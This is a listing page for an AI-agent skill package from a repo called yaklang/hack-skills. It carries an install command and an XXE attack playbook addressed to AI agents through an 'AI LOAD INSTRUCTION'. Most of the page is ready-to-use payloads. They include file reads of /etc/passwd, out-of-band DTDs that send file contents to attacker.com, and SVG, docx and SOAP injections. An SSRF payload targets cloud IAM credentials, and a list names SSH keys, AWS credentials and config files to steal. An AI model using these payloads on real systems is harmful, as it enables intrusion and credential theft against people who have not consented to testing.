401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.
$ npx -y skills add yaklang/hack-skills --skill xxe-xml-external-entity --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/xxe-xml-external-entityContext preview
The summary Claude sees to decide when to auto-load this skill.
XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.
name: xxe-xml-external-entity description: >- XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.
> **AI LOAD INSTRUCTION**: Expert XXE techniques. Covers all injection contexts (SOAP, REST JSON→XML parsers, Office files, SVG), OOB exfiltration (critical when direct read fails), blind XXE detection, and XXE-to-SSRF chain. Base models often miss OOB and non-XML context XXE. For real-world CVE chains, Office docx XXE step-by-step, PHP expect:// RCE, and Solr XXE+RCE, load the companion [SCENARIOS.md](./SCENARIOS.md).
Also load:
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
---
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><data>&xxe;</data></root>
If `/etc/passwd` reflects in response → confirmed file read.
---
Change `Content-Type` header on **any** JSON POST to:
Content-Type: application/xml
Then rewrite body as XML — many backends use dual-format parsers or auto-detect.
Some HTML→PDF tools (wkhtmltopdf, PrinceXML) execute SSRF via embedded URLs but also parse external entities in SVG/XML included in the HTML.
---
Use when direct entity reflection fails (server parses but doesn't echo entity content):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]> <root>&xxe;</root>
DNS/HTTP hit to collaborator → confirms XXE (even if no file content returned).
**Attacker's server hosts a malicious DTD** at `http://attacker.com/evil.dtd`:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>"> %exfil;
**Payload sent to target**:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <root>&exfiltrate;</root>
File contents appear in attacker's HTTP server request log.
Use intentional error to leak data in error message:
<!-- attacker.com/error.dtd --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>"> %eval; %error;
---
**Linux**:
/etc/passwd /etc/shadow (requires root) /etc/hosts /proc/self/environ ← environment variables (DB creds, API keys) /proc/self/cmdline ← process command line /var/log/apache2/access.log ← may contain passwords in URLs /home/USER/.ssh/id_rsa ← SSH private key /home/USER/.aws/credentials ← AWS keys /home/USER/.bash_history
**Windows**:
C:\Windows\System32\drivers\etc\hosts C:\inetpub\wwwroot\web.config ← ASP.NET connection strings C:\xampp\htdocs\wp-config.php ← WordPress DB credentials C:\Users\Administrator\.ssh\id_rsa
---
When SVG uploads are accepted and served/processed:
<?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="100"> <text font-size="16">&xxe;</text> </svg>
Upload as `.svg` → `GET /uploads/file.svg` → file contents in response.
---
Office files are ZIP archives containing XML. Inject into `[Content_Types].xml` or `word/document.xml`:
# Step 1: extract unzip original.docx -d extracted/ # Step 2: edit word/document.xml — add malicious DTD # Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>: # <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> # Then use &xxe; inside document text # Step 3: repackage cd extracted && zip -r ../malicious.docx .
---
SOAP requests parse XML by definition. Inject external entity into SOAP envelope:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser>
<id>&xxe;</id>
</getUser>
</soap:Body>
</soap:Envelope>---
XXE external entity can point to internal HTTP endpoints (identical to SSRF):
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <root>&xxe;</root>
This combines XXE file read + SSRF into a single payload.
---
When server-side processes XInclude (import XML from another source), but you can't control the DOCTYPE:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file://
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…